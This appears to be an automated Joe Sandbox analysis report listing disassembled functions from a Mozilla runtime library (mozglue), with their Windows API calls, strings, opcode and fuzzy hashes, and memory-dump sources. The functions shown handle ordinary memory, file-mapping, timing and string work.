String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: f6a7cfa59420fa6d808208b7b08cbc2993d1df16f98c0734d8c47f1adfe5e179
Instruction ID: 282d0df96233c5ba428f932bd438cb18daa7a233bd86a3442cb11d411ed0445e
Opcode Fuzzy Hash: f6a7cfa59420fa6d808208b7b08cbc2993d1df16f98c0734d8c47f1adfe5e179
Instruction Fuzzy Hash: D1B124B1A112099BDB04CF99C691BEEBBB5FF85308F600429D402ABF84C735EA55CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 6C90C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C90C5A3
WideCharToMultiByte.KERNEL32 ref: 6C90C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C90C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C90CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C90CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C90CAA5

Strings

0, xrefs: 6C90D30A
(null), xrefs: 6C90C596

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 79601c1bbdc47d2146a8f1998934233775d3bc20a975c52ab0a623b6c7939e62
Instruction ID: 57d0c16cf9a799430db020bd7004fd7c29693568fc6b5ca1c0a308258240a1f1
Opcode Fuzzy Hash: 79601c1bbdc47d2146a8f1998934233775d3bc20a975c52ab0a623b6c7939e62
Instruction Fuzzy Hash: 92A1AA317093429FDB11EF28C58875ABBE5BF89758F14882DE889D7742D731E805CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6C8E3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C8E3284,?,?,6C9056F6), ref: 6C8E3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C8E3284,?,?,6C9056F6), ref: 6C8E34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C8E3284,?,?,6C9056F6), ref: 6C8E34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C8E350E
__Init_thread_footer.LIBCMT ref: 6C8E3522
__aulldiv.LIBCMT ref: 6C8E3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C8E3284,?,?,6C9056F6), ref: 6C8E357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C8E3284,?,?,6C9056F6), ref: 6C8E3592

Part of subcall function 6C91AB89: EnterCriticalSection.KERNEL32(6C96E370,?,?,?,6C8E34DE,6C96F6CC,?,?,?,?,?,?,?,6C8E3284), ref: 6C91AB94
Part of subcall function 6C91AB89: LeaveCriticalSection.KERNEL32(6C96E370,?,6C8E34DE,6C96F6CC,?,?,?,?,?,?,?,6C8E3284,?,?,6C9056F6), ref: 6C91ABD1

Strings

kernel32.dll, xrefs: 6C8E34EA
GetSystemTimePreciseAsFileTime, xrefs: 6C8E3508

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: fc84741544c2f66b6df5145f5989bf0c8ad984bc3854c060f35f80339d827dbe
Instruction ID: c4a93d59f42354a031fa3f7f13dddebbd8b5396371e9da5c1dc5411470a90ddc
Opcode Fuzzy Hash: fc84741544c2f66b6df5145f5989bf0c8ad984bc3854c060f35f80339d827dbe
Instruction Fuzzy Hash: 92317471B082099BEF14DFB6C948ABA77B5FB4A304F20041DE545937A0EA719D04CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6C8E4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C924843,?), ref: 6C8E45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C924843,?), ref: 6C8E468A
free.MOZGLUE(?,?,?,?,?,?,6C924843,?), ref: 6C8E46C9
free.MOZGLUE(?), ref: 6C8E46EF
free.MOZGLUE(?), ref: 6C8E4712
free.MOZGLUE(?), ref: 6C8E4735
free.MOZGLUE(?), ref: 6C8E4758
free.MOZGLUE(?), ref: 6C8E477B
free.MOZGLUE(?), ref: 6C8E479E

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 7a4f3c29bdc8c52ca96064cd179c3fff50a3704b9b1f9d7416f2b5a9b3429a86
Instruction ID: c02cb851dcc4899ba26fa8da789b1475353d482db6be26817dd566268f70301a
Opcode Fuzzy Hash: 7a4f3c29bdc8c52ca96064cd179c3fff50a3704b9b1f9d7416f2b5a9b3429a86
Instruction Fuzzy Hash: CCB1F771A001248FDB249EACCED476D77A5AFCB318F184A29E41ADBB96D731D8408B81

Uniqueness

Uniqueness Score: -1.00%

Function 6C94AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C94AC52
CreateFileMappingW.KERNEL32 ref: 6C94AC7D
GetSystemInfo.KERNEL32 ref: 6C94AC98
MapViewOfFile.KERNEL32 ref: 6C94ACB0
GetSystemInfo.KERNEL32 ref: 6C94ACCD
MapViewOfFile.KERNEL32 ref: 6C94AD05
UnmapViewOfFile.KERNEL32 ref: 6C94AD1C
CloseHandle.KERNEL32 ref: 6C94AD28
UnmapViewOfFile.KERNEL32 ref: 6C94AD37
CloseHandle.KERNEL32 ref: 6C94AD43
CloseHandle.KERNEL32 ref: 6C94AD67

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: d7876c712f3084dbc65a6c6d280f17e95155b68029e8502467dc1473b1a3de13
Instruction ID: e41859297c0f3b611d327516a618f831d1d21f1b3793e38992d5f2bb8124780b
Opcode Fuzzy Hash: d7876c712f3084dbc65a6c6d280f17e95155b68029e8502467dc1473b1a3de13
Instruction Fuzzy Hash: 303152B1A087448FEB00EF7DD64826EBBF0FF85305F11892DE99597251EB749458CB82

Uniqueness

Uniqueness Score: -1.00%

Function 6C8F9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C8F9675
__Init_thread_footer.LIBCMT ref: 6C8F9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C8F96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C8F9707
__Init_thread_footer.LIBCMT ref: 6C8F971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C8F9773

Part of subcall function 6C91AB89: EnterCriticalSection.KERNEL32(6C96E370,?,?,?,6C8E34DE,6C96F6CC,?,?,?,?,?,?,?,6C8E3284), ref: 6C91AB94
Part of subcall function 6C91AB89: LeaveCriticalSection.KERNEL32(6C96E370,?,6C8E34DE,6C96F6CC,?,?,?,?,?,?,?,6C8E3284,?,?,6C9056F6), ref: 6C91ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C8F97B7
FreeLibrary.KERNEL32 ref: 6C8F97D0
FreeLibrary.KERNEL32 ref: 6C8F97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C8F9824

Strings

MapViewOfFileNuma2, xrefs: 6C8F97B1
NtMapViewOfSection, xrefs: 6C8F9701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C8F9670
ntdll.dll, xrefs: 6C8F96E3

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: a8f3b9e0c4be5133d1ba8afcc8b2587cd8515296f4ac7332ff6c5ffb3db5143a
Instruction ID: 191d94b9d958e219ab131c21c0019aab4318b76820ccb6c41971805ae392d30e
Opcode Fuzzy Hash: a8f3b9e0c4be5133d1ba8afcc8b2587cd8515296f4ac7332ff6c5ffb3db5143a
Instruction Fuzzy Hash: 0541D4B17082059BEF10CFA6D984BA6B7B4FB4A758F244529ED1587BC0E730E815CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 6C8E1E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C96E784), ref: 6C8E1EC1
LeaveCriticalSection.KERNEL32(6C96E784), ref: 6C8E1EE1
EnterCriticalSection.KERNEL32(6C96E744), ref: 6C8E1F38
LeaveCriticalSection.KERNEL32(6C96E744), ref: 6C8E1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C8E1F83
LeaveCriticalSection.KERNEL32(6C96E784), ref: 6C8E1FC0
EnterCriticalSection.KERNEL32(6C96E784), ref: 6C8E1FE2
LeaveCriticalSection.KERNEL32(6C96E784), ref: 6C8E1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C8E2019

Strings

MOZ_CRASH(), xrefs: 6C8E2000

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: 1f257dee08044dafe2f4e51972538e2a262f529137c9f6b8331d1f512a7326ce
Instruction ID: b92713947e1858e6ed2307704510672a4d45daf535ec6e56bfd540ba9ac261be
Opcode Fuzzy Hash: 1f257dee08044dafe2f4e51972538e2a262f529137c9f6b8331d1f512a7326ce
Instruction Fuzzy Hash: 0041E171B093198FEB108F6ACD84B7AB7B5EB5A748F100429F9049BB81EB70D8009BD1

Uniqueness

Uniqueness Score: -1.00%

Function 6C8F7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C8F7EA7
malloc.MOZGLUE(00000001), ref: 6C8F7EB3

Part of subcall function 6C8FCAB0: EnterCriticalSection.KERNEL32(?), ref: 6C8FCB49
Part of subcall function 6C8FCAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C8FCBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C8F7EC4
mozalloc_abort.MOZGLUE(?), ref: 6C8F7F19
malloc.MOZGLUE(?), ref: 6C8F7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C8F7F4D

Strings

d, xrefs: 6C8F7F89

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 12f775b678f52205d6ab10dd928bcefa75c8fbc637df1e6ec368dfa73838c85d
Instruction ID: 281e2ed323362bceecfacfd241ba120cc5d4c4b0474f9d734b3356d91b5f3619
Opcode Fuzzy Hash: 12f775b678f52205d6ab10dd928bcefa75c8fbc637df1e6ec368dfa73838c85d
Instruction Fuzzy Hash: AC312A62D0438897EF009B38DD045FEB778EFA5248F545628DC4557712FB30E698C391

Uniqueness

Uniqueness Score: -1.00%

Function 6C8F3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 6C8F3EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C8F3FDC
RtlAllocateHeap.NTDLL ref: 6C8F4006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C8F40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C8F3CCC), ref: 6C8F40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C8F3CCC), ref: 6C8F40C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C8F4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C8F3CCC), ref: 6C8F4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C8F3CCC), ref: 6C8F4157

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 508f3547724f3ca7cf3b558a29ac020478f6389dab532fb501291f78a55b935d
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 03A190B1A00205CFEB50CF28CA80659B7B5FF98348F25459AD919AF742D771ED86CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6C939D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C938273), ref: 6C939D65
free.MOZGLUE(6C938273,?), ref: 6C939D7C
free.MOZGLUE(?,?), ref: 6C939D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C939E0F
free.MOZGLUE(6C93946B,?,?), ref: 6C939E24
free.MOZGLUE(?,?,?), ref: 6C939E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C939EC8
free.MOZGLUE(6C93946B,?,?,?), ref: 6C939EDF
free.MOZGLUE(?,?,?,?), ref: 6C939EF5

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: e2417752be521e0cb0467c7e335ee8915e16c0d04f91c05d91786c2d45fdd57f
Instruction ID: 2b387739538a23d1c0062fb1a387bc38797fbbc731dffe5d3ef4b2db44bf7f65
Opcode Fuzzy Hash: e2417752be521e0cb0467c7e335ee8915e16c0d04f91c05d91786c2d45fdd57f
Instruction Fuzzy Hash: D7719DB0909B519BD712CF18C48065BF3F5FFA9315B45961DE89E9BB02EB30E885CB81

Uniqueness

Uniqueness Score: -1.00%

Function 6C93DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C93DDCF

Part of subcall function 6C91FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C91FA4B

Part of subcall function 6C9390E0: free.MOZGLUE(?,00000000,?,?,6C93DEDB), ref: 6C9390FF
Part of subcall function 6C9390E0: free.MOZGLUE(?,00000000,?,?,6C93DEDB), ref: 6C939108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C93DE0D
free.MOZGLUE(00000000), ref: 6C93DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C93DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C93DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C93DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C92DEFD,?,6C8F4A68), ref: 6C93DF32

Part of subcall function 6C93DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C93DB86
Part of subcall function 6C93DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C93DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C92DEFD,?,6C8F4A68), ref: 6C93DF65
free.MOZGLUE(?), ref: 6C93DF80

Part of subcall function 6C905E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C905EDB
Part of subcall function 6C905E90: memset.VCRUNTIME140(6C947765,000000E5,55CCCCCC), ref: 6C905F27
Part of subcall function 6C905E90: LeaveCriticalSection.KERNEL32(?), ref: 6C905FB2

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 09c5c58f513b8d588e439c4b3df1cd636fcb0f8f5f75a2cd475f0c738fc25851
Instruction ID: a95bd3517b0d76c9ff52526d98a08e09f3f747b10208761905c90ed8190125bb
Opcode Fuzzy Hash: 09c5c58f513b8d588e439c4b3df1cd636fcb0f8f5f75a2cd475f0c738fc25851
Instruction Fuzzy Hash: F05107737256219BDB218B28C8902AFB3B6BFA1308F95101DD85E53B40DB31F819CB82

Uniqueness

Uniqueness Score: -1.00%

Function 6C945D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C945C8C,?,6C91E829), ref: 6C945D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C945C8C,?,6C91E829), ref: 6C945D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C945C8C,?,6C91E829), ref: 6C945D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C945C8C,?,6C91E829), ref: 6C945D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C945C8C,?,6C91E829), ref: 6C945DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C945C8C,?,6C91E829), ref: 6C945DC9
std::_Facet_Register.LIBCPMT ref: 6C945DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C945C8C,?,6C91E829), ref: 6C945E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C945C8C,?,6C91E829), ref: 6C945E45

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 23ed92fac0d6967a21b9d4c84dca3028939121bd7990fae4c1718aa8e5c17b95
Instruction ID: a098d73b632f437a30c1c151b5a2edbb4580c36f4ccd36587cb2eb2395b88a83
Opcode Fuzzy Hash: 23ed92fac0d6967a21b9d4c84dca3028939121bd7990fae4c1718aa8e5c17b95
Instruction Fuzzy Hash: 85418E717042049FDB00DFA5C898AAE77BAFF99358F54806CE50A9B791EB31EC05CB61

Uniqueness

Uniqueness Score: -1.00%

Function 6C91CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C8E31A7), ref: 6C91CDDD

Strings

<jemalloc>, xrefs: 6C91CF9F, 6C91CFB3
: (malloc) Error in VirtualFree(), xrefs: 6C91CFA4, 6C91CFB8

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 48916c6c8d2e0eafbc057218995c3486dae5b1d5ad7e5ac9c8de902b08283553
Instruction ID: 31b9378427e1564dcf7ba1b939b44374f5952db814cc94991477434bc7270f47
Opcode Fuzzy Hash: 48916c6c8d2e0eafbc057218995c3486dae5b1d5ad7e5ac9c8de902b08283553
Instruction Fuzzy Hash: CD31A5307482095BFF14AEA68C56B7E7B79AB41B14F304028F615ABFC0EB70D8108B91

Uniqueness

Uniqueness Score: -1.00%

Function 6C8EECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C8EF100: LoadLibraryW.KERNEL32(shell32,?,6C95D020), ref: 6C8EF122
Part of subcall function 6C8EF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C8EF132

moz_xmalloc.MOZGLUE(00000012), ref: 6C8EED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C8EEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C8EEDCC
CreateFileW.KERNEL32 ref: 6C8EEE08
free.MOZGLUE(00000000), ref: 6C8EEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C8EEE32

Part of subcall function 6C8EEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C8EEBB5
Part of subcall function 6C8EEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C91D7F3), ref: 6C8EEBC3
Part of subcall function 6C8EEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C91D7F3), ref: 6C8EEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C8EEDC1

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true
